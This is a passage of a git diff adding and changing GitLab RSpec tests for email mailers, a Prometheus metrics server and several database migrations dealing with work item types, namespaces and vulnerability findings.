+ stub_request(:get, described_class.url).to_return(status: 200, body: '{ "status": "success" }', headers: {})
+ end
+
+ it 'returns the response object' do
+ expect(described_class.new.calculate_reactive_cache).to eq("{ \"status\": \"success\" }")
+ end
+ end
+
+ context 'response code is not 200' do
+ before do
+ stub_request(:get, described_class.url).to_return(status: 500, body: nil, headers: {})
+ end
+
+ it 'returns nil' do
+ expect(described_class.new.calculate_reactive_cache).to be(nil)
+ end
+ end
+ end
+
+ describe '#response' do
+ context 'cache returns value' do
+ let(:response) { { "severity" => "success" }.to_json }
+
+ before do
+ allow_next_instance_of(described_class) do |instance|
+ allow(instance).to receive(:with_reactive_cache).and_return(response)
+ end
+ end
+
+ it 'returns the response object' do
+ expect(described_class.new.response).to be(response)
+ end
+ end
+
+ context 'cache returns nil' do
+ let(:response) { nil }
+
+ before do
+ allow_next_instance_of(described_class) do |instance|
+ allow(instance).to receive(:with_reactive_cache).and_return(response)
+ end
+ end
+
+ it 'returns nil' do
+ expect(described_class.new.response).to be(nil)
+ end
end
end
end
diff --git a/spec/mailers/emails/in_product_marketing_spec.rb b/spec/mailers/emails/in_product_marketing_spec.rb
index 3b92b049e42..720e6f101a8 100644
--- a/spec/mailers/emails/in_product_marketing_spec.rb
+++ b/spec/mailers/emails/in_product_marketing_spec.rb
@@ -5,29 +5,11 @@ require 'email_spec'
RSpec.describe Emails::InProductMarketing do
include EmailSpec::Matchers
+ include Gitlab::Routing.url_helpers
let_it_be(:user) { create(:user) }
- let_it_be(:group) { create(:group) }
-
- let!(:onboarding_progress) { create(:onboarding_progress, namespace: group) }
-
- describe '#in_product_marketing_email' do
- using RSpec::Parameterized::TableSyntax
-
- let(:track) { :create }
- let(:series) { 0 }
-
- subject { Notify.in_product_marketing_email(user.id, group.id, track, series) }
-
- include_context 'gitlab email notification'
-
- it 'sends to the right user with a link to unsubscribe' do
- aggregate_failures do
- expect(subject).to deliver_to(user.notification_email_or_default)
- expect(subject).to have_body_text(profile_notifications_url)
- end
- end
+ shared_examples 'has custom headers when on gitlab.com' do
context 'when on gitlab.com' do
before do
allow(Gitlab).to receive(:com?).and_return(true)
@@ -45,6 +27,30 @@ RSpec.describe Emails::InProductMarketing do
end
end
end
+ end
+
+ describe '#in_product_marketing_email' do
+ let_it_be(:group) { create(:group) }
+
+ let!(:onboarding_progress) { create(:onboarding_progress, namespace: group) }
+
+ using RSpec::Parameterized::TableSyntax
+
+ let(:track) { :create }
+ let(:series) { 0 }
+
+ subject { Notify.in_product_marketing_email(user.id, group.id, track, series) }
+
+ include_context 'gitlab email notification'
+
+ it_behaves_like 'has custom headers when on gitlab.com'
+
+ it 'sends to the right user with a link to unsubscribe' do
+ aggregate_failures do
+ expect(subject).to deliver_to(user.notification_email_or_default)
+ expect(subject).to have_body_text(profile_notifications_url)
+ end
+ end
where(:track, :series) do
:create | 0
@@ -68,7 +74,6 @@ RSpec.describe Emails::InProductMarketing do
with_them do
before do
- stub_experiments(invite_members_for_task: :candidate)
group.add_owner(user)
end
diff --git a/spec/mailers/notify_spec.rb b/spec/mailers/notify_spec.rb
index a5e3350ec2e..44cb18008d2 100644
--- a/spec/mailers/notify_spec.rb
+++ b/spec/mailers/notify_spec.rb
@@ -613,6 +613,28 @@ RSpec.describe Notify do
it 'has References header including the notes and issue of the discussion' do
expect(subject.header['References'].message_ids).to include("issue_#{note.noteable.id}@#{host}")
end
+
+ context 'with private references accessible to the recipient' do
+ let_it_be(:private_project) { create(:project, :private) }
+ let_it_be(:private_issue) { create(:issue, :closed, project: private_project) }
+
+ before_all do
+ private_project.add_guest(recipient)
+
+ note.update!(note: "#{private_issue.to_reference(full: true)}")
+ end
+
+ let(:html_part) { subject.body.parts.last.to_s }
+
+ it 'does not redact the reference' do
+ expect(html_part).to include("data-reference-type=\"issue\"")
+ expect(html_part).to include("title=\"#{private_issue.title}\"")
+ end
+
+ it 'renders expanded issue references' do
+ expect(html_part).to include("#{private_issue.to_reference(full: true)} (closed)")
+ end
+ end
end
end
@@ -807,7 +829,7 @@ RSpec.describe Notify do
end
it_behaves_like 'an email sent from GitLab'
- it_behaves_like 'it should not have Gmail Actions links'
+ it_behaves_like 'it should show Gmail Actions Join now link'
it_behaves_like "a user cannot unsubscribe through footer link"
it_behaves_like 'appearance header and footer enabled'
it_behaves_like 'appearance header and footer not enabled'
@@ -845,48 +867,6 @@ RSpec.describe Notify do
end
end
- context 'with invite_email_preview_text enabled', :experiment do
- before do
- stub_experiments(invite_email_preview_text: :control)
- end
-
- it 'has the correct invite_url with params' do
- is_expected.to have_link('Join now',
- href: invite_url(project_member.invite_token,
- invite_type: Emails::Members::INITIAL_INVITE,
- experiment_name: 'invite_email_preview_text'))
- end
-
- it 'tracks the sent invite' do
- expect(experiment(:invite_email_preview_text)).to track(:assignment)
- .with_context(actor: project_member)
- .on_next_instance
-
- invite_email.deliver_now
- end
- end
-
- context 'with invite_email_from enabled', :experiment do
- before do
- stub_experiments(invite_email_from: :control)
- end
-
- it 'has the correct invite_url with params' do
- is_expected.to have_link('Join now',
- href: invite_url(project_member.invite_token,
- invite_type: Emails::Members::INITIAL_INVITE,
- experiment_name: 'invite_email_from'))
- end
-
- it 'tracks the sent invite' do
- expect(experiment(:invite_email_from)).to track(:assignment)
- .with_context(actor: project_member)
- .on_next_instance
-
- invite_email.deliver_now
- end
- end
-
context 'when invite email sent is tracked', :snowplow do
it 'tracks the sent invite' do
invite_email.deliver_now
@@ -1460,7 +1440,7 @@ RSpec.describe Notify do
subject { described_class.member_invited_email('Group', group_member.id, group_member.invite_token) }
it_behaves_like 'an email sent from GitLab'
- it_behaves_like 'it should not have Gmail Actions links'
+ it_behaves_like 'it should show Gmail Actions Join now link'
it_behaves_like "a user cannot unsubscribe through footer link"
it_behaves_like 'appearance header and footer enabled'
it_behaves_like 'appearance header and footer not enabled'
diff --git a/spec/metrics_server/metrics_server_spec.rb b/spec/metrics_server/metrics_server_spec.rb
new file mode 100644
index 00000000000..4e3c6900875
--- /dev/null
+++ b/spec/metrics_server/metrics_server_spec.rb
@@ -0,0 +1,109 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+require_relative '../../metrics_server/metrics_server'
+require_relative '../support/helpers/next_instance_of'
+
+RSpec.describe MetricsServer do # rubocop:disable RSpec/FilePath
+ include NextInstanceOf
+
+ before do
+ # We do not want this to have knock-on effects on the test process.
+ allow(Gitlab::ProcessManagement).to receive(:modify_signals)
+ end
+
+ describe '.spawn' do
+ context 'when in parent process' do
+ it 'forks into a new process and detaches it' do
+ expect(Process).to receive(:fork).and_return(99)
+ expect(Process).to receive(:detach).with(99)
+
+ described_class.spawn('sidekiq', metrics_dir: 'path/to/metrics')
+ end
+ end
+
+ context 'when in child process' do
+ before do
+ # This signals the process that it's "inside" the fork
+ expect(Process).to receive(:fork).and_return(nil)
+ expect(Process).not_to receive(:detach)
+ end
+
+ it 'starts the metrics server with the given arguments' do
+ expect_next_instance_of(MetricsServer) do |server|
+ expect(server).to receive(:start)
+ end
+
+ described_class.spawn('sidekiq', metrics_dir: 'path/to/metrics')
+ end
+
+ it 'resets signal handlers from parent process' do
+ expect(Gitlab::ProcessManagement).to receive(:modify_signals).with(%i[A B], 'DEFAULT')
+
+ described_class.spawn('sidekiq', metrics_dir: 'path/to/metrics', trapped_signals: %i[A B])
+ end
+ end
+ end
+
+ describe '#start' do
+ let(:exporter_class) { Class.new(Gitlab::Metrics::Exporter::BaseExporter) }
+ let(:exporter_double) { double('fake_exporter', start: true) }
+ let(:prometheus_config) { ::Prometheus::Client.configuration }
+ let(:metrics_dir) { Dir.mktmpdir }
+ let(:settings) { { "fake_exporter" => { "enabled" => true } } }
+ let!(:old_metrics_dir) { prometheus_config.multiprocess_files_dir }
+
+ subject(:metrics_server) { described_class.new('fake', metrics_dir, true)}
+
+ before do
+ stub_const('Gitlab::Metrics::Exporter::FakeExporter', exporter_class)
+ expect(exporter_class).to receive(:instance).with(settings['fake_exporter'], synchronous: true).and_return(exporter_double)
+ expect(Settings).to receive(:monitoring).and_return(settings)
+ end
+
+ after do
+ Gitlab::Metrics.reset_registry!
+ FileUtils.rm_rf(metrics_dir, secure: true)
+ prometheus_config.multiprocess_files_dir = old_metrics_dir
+ end
+
+ it 'configures ::Prometheus::Client' do
+ metrics_server.start
+
+ expect(prometheus_config.multiprocess_files_dir).to eq metrics_dir
+ end
+
+ it 'ensures that metrics directory exists in correct mode (0700)' do
+ expect(FileUtils).to receive(:mkdir_p).with(metrics_dir, mode: 0700)
+
+ metrics_server.start
+ end
+
+ context 'when wipe_metrics_dir is true' do
+ subject(:metrics_server) { described_class.new('fake', metrics_dir, true)}
+
+ it 'removes any old metrics files' do
+ FileUtils.touch("#{metrics_dir}/remove_this.db")
+
+ expect { metrics_server.start }.to change { Dir.empty?(metrics_dir) }.from(false).to(true)
+ end
+ end
+
+ context 'when wipe_metrics_dir is false' do
+ subject(:metrics_server) { described_class.new('fake', metrics_dir, false)}
+
+ it 'does not remove any old metrics files' do
+ FileUtils.touch("#{metrics_dir}/remove_this.db")
+
+ expect { metrics_server.start }.not_to change { Dir.empty?(metrics_dir) }.from(false)
+ end
+ end
+
+ it 'starts a metrics server' do
+ expect(exporter_double).to receive(:start)
+
+ metrics_server.start
+ end
+ end
+end
diff --git a/spec/migrations/20210713042000_fix_ci_sources_pipelines_index_names_spec.rb b/spec/migrations/20210713042000_fix_ci_sources_pipelines_index_names_spec.rb
new file mode 100644
index 00000000000..adec1e05533
--- /dev/null
+++ b/spec/migrations/20210713042000_fix_ci_sources_pipelines_index_names_spec.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe FixCiSourcesPipelinesIndexNames, :migration do
+ def validate_foreign_keys_and_index!
+ aggregate_failures do
+ expect(subject.foreign_key_exists?(:ci_sources_pipelines, :ci_builds, column: :source_job_id, name: 'fk_be5624bf37')).to be_truthy
+ expect(subject.foreign_key_exists?(:ci_sources_pipelines, :ci_pipelines, column: :pipeline_id, name: 'fk_e1bad85861')).to be_truthy
+ expect(subject.foreign_key_exists?(:ci_sources_pipelines, :ci_pipelines, column: :source_pipeline_id, name: 'fk_d4e29af7d7')).to be_truthy
+ expect(subject.foreign_key_exists?(:ci_sources_pipelines, :projects, column: :source_project_id, name: 'fk_acd9737679')).to be_truthy
+ expect(subject.foreign_key_exists?(:ci_sources_pipelines, :projects, name: 'fk_1e53c97c0a')).to be_truthy
+ expect(subject.foreign_key_exists?(:ci_sources_pipelines, :ci_builds, column: :source_job_id_convert_to_bigint, name: 'fk_be5624bf37_tmp')).to be_falsey
+
+ expect(subject.index_exists_by_name?(:ci_sources_pipelines, described_class::NEW_INDEX_NAME)).to be_truthy
+ expect(subject.index_exists_by_name?(:ci_sources_pipelines, described_class::OLD_INDEX_NAME)).to be_falsey
+ end
+ end
+
+ it 'existing foreign keys and indexes are untouched' do
+ validate_foreign_keys_and_index!
+
+ migrate!
+
+ validate_foreign_keys_and_index!
+ end
+
+ context 'with a legacy (pre-GitLab 10.0) foreign key' do
+ let(:old_foreign_keys) { described_class::OLD_TO_NEW_FOREIGN_KEY_DEFS.keys }
+ let(:new_foreign_keys) { described_class::OLD_TO_NEW_FOREIGN_KEY_DEFS.values.map { |entry| entry[:name] } }
+
+ before do
+ new_foreign_keys.each { |name| subject.remove_foreign_key_if_exists(:ci_sources_pipelines, name: name) }
+
+ # GitLab 9.5.4: https://gitlab.com/gitlab-org/gitlab/-/blob/v9.5.4-ee/db/schema.rb#L2026-2030
+ subject.add_foreign_key(:ci_sources_pipelines, :ci_builds, column: :source_job_id, name: 'fk_3f0c88d7dc', on_delete: :cascade)
+ subject.add_foreign_key(:ci_sources_pipelines, :ci_pipelines, column: :pipeline_id, name: "fk_b8c0fac459", on_delete: :cascade)
+ subject.add_foreign_key(:ci_sources_pipelines, :ci_pipelines, column: :source_pipeline_id, name: "fk_3a3e3cb83a", on_delete: :cascade)
+ subject.add_foreign_key(:ci_sources_pipelines, :projects, column: :source_project_id, name: "fk_8868d0f3e4", on_delete: :cascade)
+ subject.add_foreign_key(:ci_sources_pipelines, :projects, name: "fk_83b4346e48", on_delete: :cascade)
+
+ # https://gitlab.com/gitlab-org/gitlab/-/blob/v9.5.4-ee/db/schema.rb#L443
+ subject.add_index "ci_sources_pipelines", ["source_job_id"], name: described_class::OLD_INDEX_NAME, using: :btree
+ end
+
+ context 'when new index already exists' do
+ it 'corrects foreign key constraints and drops old index' do
+ expect { migrate! }.to change { subject.foreign_key_exists?(:ci_sources_pipelines, :ci_builds, column: :source_job_id, name: 'fk_3f0c88d7dc') }.from(true).to(false)
+
+ validate_foreign_keys_and_index!
+ end
+ end
+
+ context 'when new index does not exist' do
+ before do
+ subject.remove_index("ci_sources_pipelines", name: described_class::NEW_INDEX_NAME)
+ end
+
+ it 'drops the old index' do
+ expect { migrate! }.to change { subject.index_exists_by_name?(:ci_sources_pipelines, described_class::OLD_INDEX_NAME) }.from(true).to(false)
+
+ validate_foreign_keys_and_index!
+ end
+ end
+ end
+end
diff --git a/spec/migrations/20210804150320_create_base_work_item_types_spec.rb b/spec/migrations/20210804150320_create_base_work_item_types_spec.rb
index 34ea7f53f51..6df8e1b2ebf 100644
--- a/spec/migrations/20210804150320_create_base_work_item_types_spec.rb
+++ b/spec/migrations/20210804150320_create_base_work_item_types_spec.rb
@@ -4,18 +4,28 @@ require 'spec_helper'
require_migration!
RSpec.describe CreateBaseWorkItemTypes, :migration do
- let!(:work_item_types) { table(:work_item_types) }
+ include MigrationHelpers::WorkItemTypesHelper
+
+ let_it_be(:work_item_types) { table(:work_item_types) }
+
+ let(:base_types) do
+ {
+ issue: 0,
+ incident: 1,
+ test_case: 2,
+ requirement: 3
+ }
+ end
after(:all) do
# Make sure base types are recreated after running the migration
# because migration specs are not run in a transaction
- WorkItem::Type.delete_all
- Gitlab::DatabaseImporters::WorkItems::BaseTypeImporter.import
+ reset_work_item_types
end
it 'creates default data' do
# Need to delete all as base types are seeded before entire test suite
- WorkItem::Type.delete_all
+ work_item_types.delete_all
reversible_migration do |migration|
migration.before -> {
@@ -24,8 +34,8 @@ RSpec.describe CreateBaseWorkItemTypes, :migration do
}
migration.after -> {
- expect(work_item_types.count).to eq 4
- expect(work_item_types.all.pluck(:base_type)).to match_array WorkItem::Type.base_types.values
+ expect(work_item_types.count).to eq(4)
+ expect(work_item_types.all.pluck(:base_type)).to match_array(base_types.values)
}
end
end
diff --git a/spec/migrations/20210831203408_upsert_base_work_item_types_spec.rb b/spec/migrations/20210831203408_upsert_base_work_item_types_spec.rb
index 3c8c55ccb80..1957a973ee1 100644
--- a/spec/migrations/20210831203408_upsert_base_work_item_types_spec.rb
+++ b/spec/migrations/20210831203408_upsert_base_work_item_types_spec.rb
@@ -4,19 +4,29 @@ require 'spec_helper'
require_migration!
RSpec.describe UpsertBaseWorkItemTypes, :migration do
- let!(:work_item_types) { table(:work_item_types) }
+ include MigrationHelpers::WorkItemTypesHelper
+
+ let_it_be(:work_item_types) { table(:work_item_types) }
+
+ let(:base_types) do
+ {
+ issue: 0,
+ incident: 1,
+ test_case: 2,
+ requirement: 3
+ }
+ end
after(:all) do
# Make sure base types are recreated after running the migration
# because migration specs are not run in a transaction
- WorkItem::Type.delete_all
- Gitlab::DatabaseImporters::WorkItems::BaseTypeImporter.import
+ reset_work_item_types
end
context 'when no default types exist' do
it 'creates default data' do
# Need to delete all as base types are seeded before entire test suite
- WorkItem::Type.delete_all
+ work_item_types.delete_all
expect(work_item_types.count).to eq(0)
@@ -29,7 +39,7 @@ RSpec.describe UpsertBaseWorkItemTypes, :migration do
migration.after -> {
expect(work_item_types.count).to eq(4)
- expect(work_item_types.all.pluck(:base_type)).to match_array(WorkItem::Type.base_types.values)
+ expect(work_item_types.all.pluck(:base_type)).to match_array(base_types.values)
}
end
end
@@ -37,16 +47,21 @@ RSpec.describe UpsertBaseWorkItemTypes, :migration do
context 'when default types already exist' do
it 'does not create default types again' do
- expect(work_item_types.all.pluck(:base_type)).to match_array(WorkItem::Type.base_types.values)
+ # Database needs to be in a similar state as when this migration was created
+ work_item_types.delete_all
+ work_item_types.find_or_create_by!(name: 'Issue', namespace_id: nil, base_type: base_types[:issue], icon_name: 'issue-type-issue')
+ work_item_types.find_or_create_by!(name: 'Incident', namespace_id: nil, base_type: base_types[:incident], icon_name: 'issue-type-incident')
+ work_item_types.find_or_create_by!(name: 'Test Case', namespace_id: nil, base_type: base_types[:test_case], icon_name: 'issue-type-test-case')
+ work_item_types.find_or_create_by!(name: 'Requirement', namespace_id: nil, base_type: base_types[:requirement], icon_name: 'issue-type-requirements')
reversible_migration do |migration|
migration.before -> {
- expect(work_item_types.all.pluck(:base_type)).to match_array(WorkItem::Type.base_types.values)
+ expect(work_item_types.all.pluck(:base_type)).to match_array(base_types.values)
}
migration.after -> {
expect(work_item_types.count).to eq(4)
- expect(work_item_types.all.pluck(:base_type)).to match_array(WorkItem::Type.base_types.values)
+ expect(work_item_types.all.pluck(:base_type)).to match_array(base_types.values)
}
end
end
diff --git a/spec/migrations/20211101222614_consume_remaining_user_namespace_jobs_spec.rb b/spec/migrations/20211101222614_consume_remaining_user_namespace_jobs_spec.rb
new file mode 100644
index 00000000000..d78ecc26ebf
--- /dev/null
+++ b/spec/migrations/20211101222614_consume_remaining_user_namespace_jobs_spec.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe ConsumeRemainingUserNamespaceJobs do
+ let(:namespaces) { table(:namespaces) }
+ let!(:namespace) { namespaces.create!(name: 'gitlab', path: 'gitlab-org', type: nil) }
+
+ context 'when Namespaces with nil `type` still exist' do
+ it 'steals sidekiq jobs from BackfillUserNamespace background migration' do
+ expect(Gitlab::BackgroundMigration).to receive(:steal).with('BackfillUserNamespace')
+
+ migrate!
+ end
+
+ it 'migrates namespaces without type' do
+ expect { migrate! }.to change { namespaces.where(type: 'User').count }.from(0).to(1)
+ end
+ end
+end
diff --git a/spec/migrations/20211110143306_add_not_null_constraint_to_security_findings_uuid_spec.rb b/spec/migrations/20211110143306_add_not_null_constraint_to_security_findings_uuid_spec.rb
new file mode 100644
index 00000000000..946fbf7f568
--- /dev/null
+++ b/spec/migrations/20211110143306_add_not_null_constraint_to_security_findings_uuid_spec.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+require 'spec_helper'
+require_migration!
+
+RSpec.describe AddNotNullConstraintToSecurityFindingsUuid do
+ let_it_be(:security_findings) { table(:security_findings) }
+ let_it_be(:migration) { described_class.new }
+
+ before do
+ allow(migration).to receive(:transaction_open?).and_return(false)
+ allow(migration).to receive(:with_lock_retries).and_yield
+ end
+
+ it 'adds a check constraint' do
+ constraint = security_findings.connection.check_constraints(:security_findings).find { |constraint| constraint.expression == "uuid IS NOT NULL" }
+ expect(constraint).to be_nil
+
+ migration.up
+
+ constraint = security_findings.connection.check_constraints(:security_findings).find { |constraint| constraint.expression == "uuid IS NOT NULL" }
+ expect(constraint).to be_a(ActiveRecord::ConnectionAdapters::CheckConstraintDefinition)
+ end
+end
diff --git a/spec/migrations/20211110151350_schedule_drop_invalid_security_findings_spec.rb b/spec/migrations/20211110151350_schedule_drop_invalid_security_findings_spec.rb
new file mode 100644
index 00000000000..b35cf5cbf4c
--- /dev/null
+++ b/spec/migrations/20211110151350_schedule_drop_invalid_security_findings_spec.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe ScheduleDropInvalidSecurityFindings, :migration, schema: 20211108211434 do
+ let_it_be(:background_migration_jobs) { table(:background_migration_jobs) }
+
+ let_it_be(:namespace) { table(:namespaces).create!(name: 'user', path: 'user', type: Namespaces::UserNamespace.sti_name) }
+ let_it_be(:project) { table(:projects).create!(namespace_id: namespace.id) }
+
+ let_it_be(:pipelines) { table(:ci_pipelines) }
+ let_it_be(:pipeline) { pipelines.create!(project_id: project.id) }
+
+ let_it_be(:ci_builds) { table(:ci_builds) }
+ let_it_be(:ci_build) { ci_builds.create! }
+
+ let_it_be(:security_scans) { table(:security_scans) }
+ let_it_be(:security_scan) do
+ security_scans.create!(
+ scan_type: 1,
+ status: 1,
+ build_id: ci_build.id,
+ project_id: project.id,
+ pipeline_id: pipeline.id
+ )
+ end
+
+ let_it_be(:vulnerability_scanners) { table(:vulnerability_scanners) }
+ let_it_be(:vulnerability_scanner) { vulnerability_scanners.create!(project_id: project.id, external_id: 'test 1', name: 'test scanner 1') }
+
+ let_it_be(:security_findings) { table(:security_findings) }
+ let_it_be(:security_finding_without_uuid) do
+ security_findings.create!(
+ severity: 1,
+ confidence: 1,
+ scan_id: security_scan.id,
+ scanner_id: vulnerability_scanner.id,
+ uuid: nil
+ )
+ end
+
+ let_it_be(:security_finding_with_uuid) do
+ security_findings.create!(
+ severity: 1,
+ confidence: 1,
+ scan_id: security_scan.id,
+ scanner_id: vulnerability_scanner.id,
+ uuid: 'bd95c085-71aa-51d7-9bb6-08ae669c262e'
+ )
+ end
+
+ before do
+ stub_const("#{described_class}::BATCH_SIZE", 1)
+ stub_const("#{described_class}::SUB_BATCH_SIZE", 1)
+ end
+
+ around do |example|
+ freeze_time { Sidekiq::Testing.fake! { example.run } }
+ end
+
+ it 'schedules background migrations' do
+ migrate!
+
+ expect(background_migration_jobs.count).to eq(1)
+ expect(background_migration_jobs.first.arguments).to match_array([security_finding_without_uuid.id, security_finding_without_uuid.id, described_class::SUB_BATCH_SIZE])
+
+ expect(BackgroundMigrationWorker.jobs.size).to eq(1)
+ expect(described_class::MIGRATION).to be_scheduled_delayed_migration(2.minutes, security_finding_without_uuid.id, security_finding_without_uuid.id, described_class::SUB_BATCH_SIZE)
+ end
+end
diff --git a/spec/migrations/20211116091751_change_namespace_type_default_to_user_spec.rb b/spec/migrations/20211116091751_change_namespace_type_default_to_user_spec.rb
new file mode 100644
index 00000000000..deba6f9b87c
--- /dev/null
+++ b/spec/migrations/20211116091751_change_namespace_type_default_to_user_spec.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+# With https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73495, we no longer allow
+# a Namespace type to be nil. There is nothing left to test for this migration,
+# but we'll keep this file here as a tombstone.
diff --git a/spec/migrations/20211116111644_schedule_remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings_spec.rb b/spec/migrations/20211116111644_schedule_remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings_spec.rb
new file mode 100644
index 00000000000..c1d96f50dc8
--- /dev/null
+++ b/spec/migrations/20211116111644_schedule_remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings_spec.rb
@@ -0,0 +1,191 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+require_migration!
+
+RSpec.describe ScheduleRemoveOccurrencePipelinesAndDuplicateVulnerabilitiesFindings, :migration do
+ let_it_be(:background_migration_jobs) { table(:background_migration_jobs) }
+ let_it_be(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
+ let_it_be(:users) { table(:users) }
+ let_it_be(:user) { create_user! }
+ let_it_be(:project) { table(:projects).create!(id: 14219619, namespace_id: namespace.id) }
+ let_it_be(:pipelines) { table(:ci_pipelines) }
+ let_it_be(:scanners) { table(:vulnerability_scanners) }
+ let_it_be(:scanner1) { scanners.create!(project_id: project.id, external_id: 'test 1', name: 'test scanner 1') }
+ let_it_be(:scanner2) { scanners.create!(project_id: project.id, external_id: 'test 2', name: 'test scanner 2') }
+ let_it_be(:scanner3) { scanners.create!(project_id: project.id, external_id: 'test 3', name: 'test scanner 3') }
+ let_it_be(:unrelated_scanner) { scanners.create!(project_id: project.id, external_id: 'unreleated_scanner', name: 'unrelated scanner') }
+ let_it_be(:vulnerabilities) { table(:vulnerabilities) }
+ let_it_be(:vulnerability_findings) { table(:vulnerability_occurrences) }
+ let_it_be(:vulnerability_finding_pipelines) { table(:vulnerability_occurrence_pipelines) }
+ let_it_be(:vulnerability_identifiers) { table(:vulnerability_identifiers) }
+ let_it_be(:vulnerability_identifier) do
+ vulnerability_identifiers.create!(
+ id: 1244459,
+ project_id: project.id,
+ external_type: 'vulnerability-identifier',
+ external_id: 'vulnerability-identifier',
+ fingerprint: '0a203e8cd5260a1948edbedc76c7cb91ad6a2e45',
+ name: 'vulnerability identifier')
+ end
+
+ let_it_be(:vulnerability_for_first_duplicate) do
+ create_vulnerability!(
+ project_id: project.id,
+ author_id: user.id
+ )
+ end
+
+ let_it_be(:first_finding_duplicate) do
+ create_finding!(
+ id: 5606961,
+ uuid: "bd95c085-71aa-51d7-9bb6-08ae669c262e",
+ vulnerability_id: vulnerability_for_first_duplicate.id,
+ report_type: 0,
+ location_fingerprint: '00049d5119c2cb3bfb3d1ee1f6e031fe925aed75',
+ primary_identifier_id: vulnerability_identifier.id,
+ scanner_id: scanner1.id,
+ project_id: project.id
+ )
+ end
+
+ let_it_be(:vulnerability_for_second_duplicate) do
+ create_vulnerability!(
+ project_id: project.id,
+ author_id: user.id
+ )
+ end
+
+ let_it_be(:second_finding_duplicate) do
+ create_finding!(
+ id: 8765432,
+ uuid: "5b714f58-1176-5b26-8fd5-e11dfcb031b5",
+ vulnerability_id: vulnerability_for_second_duplicate.id,
+ report_type: 0,
+ location_fingerprint: '00049d5119c2cb3bfb3d1ee1f6e031fe925aed75',
+ primary_identifier_id: vulnerability_identifier.id,
+ scanner_id: scanner2.id,
+ project_id: project.id
+ )
+ end
+
+ let_it_be(:vulnerability_for_third_duplicate) do
+ create_vulnerability!(
+ project_id: project.id,
+ author_id: user.id
+ )
+ end
+
+ let_it_be(:third_finding_duplicate) do
+ create_finding!(
+ id: 8832995,
+ uuid: "cfe435fa-b25b-5199-a56d-7b007cc9e2d4",
+ vulnerability_id: vulnerability_for_third_duplicate.id,
+ report_type: 0,
+ location_fingerprint: '00049d5119c2cb3bfb3d1ee1f6e031fe925aed75',
+ primary_identifier_id: vulnerability_identifier.id,
+ scanner_id: scanner3.id,
+ project_id: project.id
+ )
+ end
+
+ let_it_be(:unrelated_finding) do
+ create_finding!(
+ id: 9999999,
+ uuid: "unreleated_finding",
+ vulnerability_id: nil,
+ report_type: 1,
+ location_fingerprint: 'random_location_fingerprint',
+ primary_identifier_id: vulnerability_identifier.id,
+ scanner_id: unrelated_scanner.id,
+ project_id: project.id
+ )
+ end
+
+ before do
+ stub_const("#{described_class}::BATCH_SIZE", 1)
+
+ 4.times do
+ create_finding_pipeline!(project_id: project.id, finding_id: first_finding_duplicate.id)
+ create_finding_pipeline!(project_id: project.id, finding_id: second_finding_duplicate.id)
+ create_finding_pipeline!(project_id: project.id, finding_id: third_finding_duplicate.id)
+ create_finding_pipeline!(project_id: project.id, finding_id: unrelated_finding.id)
+ end
+ end
+
+ around do |example|
+ freeze_time { Sidekiq::Testing.fake! { example.run } }
+ end
+
+ it 'schedules background migrations' do
+ migrate!
+
+ expect(background_migration_jobs.count).to eq(4)
+ expect(background_migration_jobs.first.arguments).to match_array([first_finding_duplicate.id, first_finding_duplicate.id])
+ expect(background_migration_jobs.second.arguments).to match_array([second_finding_duplicate.id, second_finding_duplicate.id])
+ expect(background_migration_jobs.third.arguments).to match_array([third_finding_duplicate.id, third_finding_duplicate.id])
+ expect(background_migration_jobs.fourth.arguments).to match_array([unrelated_finding.id, unrelated_finding.id])
+
+ expect(BackgroundMigrationWorker.jobs.size).to eq(4)
+ expect(described_class::MIGRATION).to be_scheduled_delayed_migration(2.minutes, first_finding_duplicate.id, first_finding_duplicate.id)
+ expect(described_class::MIGRATION).to be_scheduled_delayed_migration(4.minutes, second_finding_duplicate.id, second_finding_duplicate.id)
+ expect(described_class::MIGRATION).to be_scheduled_delayed_migration(6.minutes, third_finding_duplicate.id, third_finding_duplicate.id)
+ expect(described_class::MIGRATION).to be_scheduled_delayed_migration(8.minutes, unrelated_finding.id, unrelated_finding.id)
+ end
+
+ private
+
+ def create_vulnerability!(project_id:, author_id:, title: 'test', severity: 7, confidence: 7, report_type: 0)
+ vulnerabilities.create!(
+ project_id: project_id,
+ author_id: author_id,
+ title: title,
+ severity: severity,
+ confidence: confidence,
+ report_type: report_type
+ )
+ end
+
+ # rubocop:disable Metrics/ParameterLists
+ def create_finding!(
+ id: nil,
+ vulnerability_id:, project_id:, scanner_id:, primary_identifier_id:,
+ name: "test", severity: 7, confidence: 7, report_type: 0,
+ project_fingerprint: '123qweasdzxc', location_fingerprint: 'test',
+ metadata_version: 'test', raw_metadata: 'test', uuid: 'test')
+ params = {
+ vulnerability_id: vulnerability_id,
+ project_id: project_id,
+ name: name,
+ severity: severity,
+ confidence: confidence,
+ report_type: report_type,
+ project_fingerprint: project_fingerprint,
+ scanner_id: scanner_id,
+ primary_identifier_id: vulnerability_identifier.id,
+ location_fingerprint: location_fingerprint,
+ metadata_version: metadata_version,
+ raw_metadata: raw_metadata,
+ uuid: uuid
+ }
+ params[:id] = id unless id.nil?
+ vulnerability_findings.create!(params)
+ end
+ # rubocop:enable Metrics/ParameterLists
+
+ def create_user!(name: "Example User", email: "user@example.com", user_type: nil, created_at: Time.zone.now, confirmed_at: Time.zone.now)
+ users.create!(
+ name: name,
+ email: email,
+ username: name,
+ projects_limit: 0,
+ user_type: user_type,
+ confirmed_at: confirmed_at
+ )
+ end
+
+ def create_finding_pipeline!(project_id:, finding_id:)
+ pipeline = pipelines.create!(project_id: project_id)
+ vulnerability_finding_pipelines.create!(pipeline_id: pipeline.id, occurrence_id: finding_id)
+ end
+end
diff --git a/spec/migrations/20211117084814_migrate_remaining_u2f_registrations_spec.rb b/spec/migrations/20211117084814_migrate_remaining_u2f_registrations_spec.rb
new file mode 100644
